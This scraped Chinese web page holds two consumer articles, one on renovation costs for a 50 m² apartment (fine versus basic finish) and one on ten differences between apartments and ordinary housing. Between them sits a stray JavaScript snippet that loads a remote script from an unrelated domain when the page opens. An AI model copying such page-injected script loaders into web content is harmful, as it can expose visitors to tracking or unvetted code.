50平米公寓精装修报价 精装和简装有什么区别

​小户型适合单身或新婚人士居住，一般年轻人对于居住环境的要求较高，小户型也要精心装饰一番，因此装修时大多选择精装。面积虽小，也要提前做好预算。那么精装和简装有什么区别呢?下面通过全包50平米公寓精装修报价来对比下。一、50平米公寓精装修报价之整体价格装修公司针对全包整装都有相关档次的报价，不同的地域和城市，价格会有差异。简装人工和材料一般在300-700元/平米，精装700-1500元/平米。需要注意的是，有些装修公司是不包含水电的价格，水电费用是个无底洞，因此一定要确认好包含的具体项目再签订合同。二、50平米公寓精装修报价之装修风格简装一般都是采用现代简约或与其他风格混合的方式，低成本的材料不可能展现出精装的质感。精装可以选择的风格较多，虽然是小户型，可以适用于地中海、田园、新中式等风格，设计师按照户型设计，可以充分的利用好每一寸空间，但是后续搭配家具的价位也相对较高。三、50平米公寓精装修报价之装修材料简装中使用的材料比较便宜，部分可能是大品牌的打折产品。精装材料可选范围较大，尤其是主材有多种正规品牌可供选择，环保性和装修效果更好。精装如果都选择高档材料，可能会花费10万元以上。在装修前应确定好可用资金，选择合理的装修档次，不要为了追求品牌而严重超支。装修，是为了让日后的居住生活更加舒适，精装修固然更好，但更要考虑资金是否充足，无论是选择精装还是简装，都要符合自身需求和资金安排。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

公寓和普通住宅区别是什么

公寓和普通住宅都是现在人们住的房屋类型，在买房的时候对于它们就会有非常深刻的体会，有些楼盘叫做“xx公寓”，有些楼盘则叫做“xx小区”等等。虽然公寓和普通住宅都属于商品房的范畴，但它们之间还是有比较大区别，所以在购买房屋之前打算分清楚，然后再结合个人的需要来决定是购买公寓还是普通的住宅。那么，公寓和普通住宅区别是什么?公寓和普通住宅区别其一，建筑面积百分比不受限制在中央商务区内，公寓的建筑面积占项目总住宅面积的比例不受限制;而普通住宅的建筑面积与总住宅面积的比是有限制要求的。其二，公寓的日照条件比住宅差按照《住宅建筑设计规范》的有关规定，居住产品中的住宅，必须满足日照、采光等相关条件。而公寓则不一定，因此同一幢楼中公寓的日照条件比住宅差。其三，土地性质不同  住宅只能建在住宅用地上或商住用地上，而公寓可以建在住宅用地上也可以建在综合性用地(商住)、商业用地或教育用地等其它性质用地上。其四，产权年限不同住宅的产权年限多为70年，而商务型公寓根据用地性质产权为40年或50年，其五，水电费计算不同公寓楼水电费按商用计算，而普通住宅的水电费按民用算。其六，公寓不能落户公寓如果实在商业用地上建起的项目，是商业性质，就不能落户。如果是在住宅用地上建起的满足一定条件，比如60平以上，根据不同地区的要求不同，有些地方也是可以落户的。其七，价格定价不同一般来说，公寓的单价是比住宅高的，且以小面积户型为主。 其八：产权证的用途栏登记不同监管部门对公寓进行房屋产权登记时必须明确为“公寓”，并在房屋产权证上的房屋用途一栏标注为“公寓”。其九，公寓不享受就近入学在很多地区，公寓性质的住宅是不能成为学区房的，也就是说不能让孩子就近入学。其十，贷款利率和首付不同如果公寓性质属于商业地产的话，银行对于商业地产的贷款首付以及利率都较高。公寓和普通住宅区别是什么?目前的房价很高，再加上各种限购政策的影响，在购买房子的时候人们大多不会去考虑它是公寓还是普通的住宅，只要价格合适自己又能够买得起，大部分人都会积极的入市，避免将来房价进一步的上涨，给自己的生活带来麻烦。无论购买公寓还是普通住宅，都需要打醒十二分精神，要能够对买卖流程、陷阱等有一定的了解。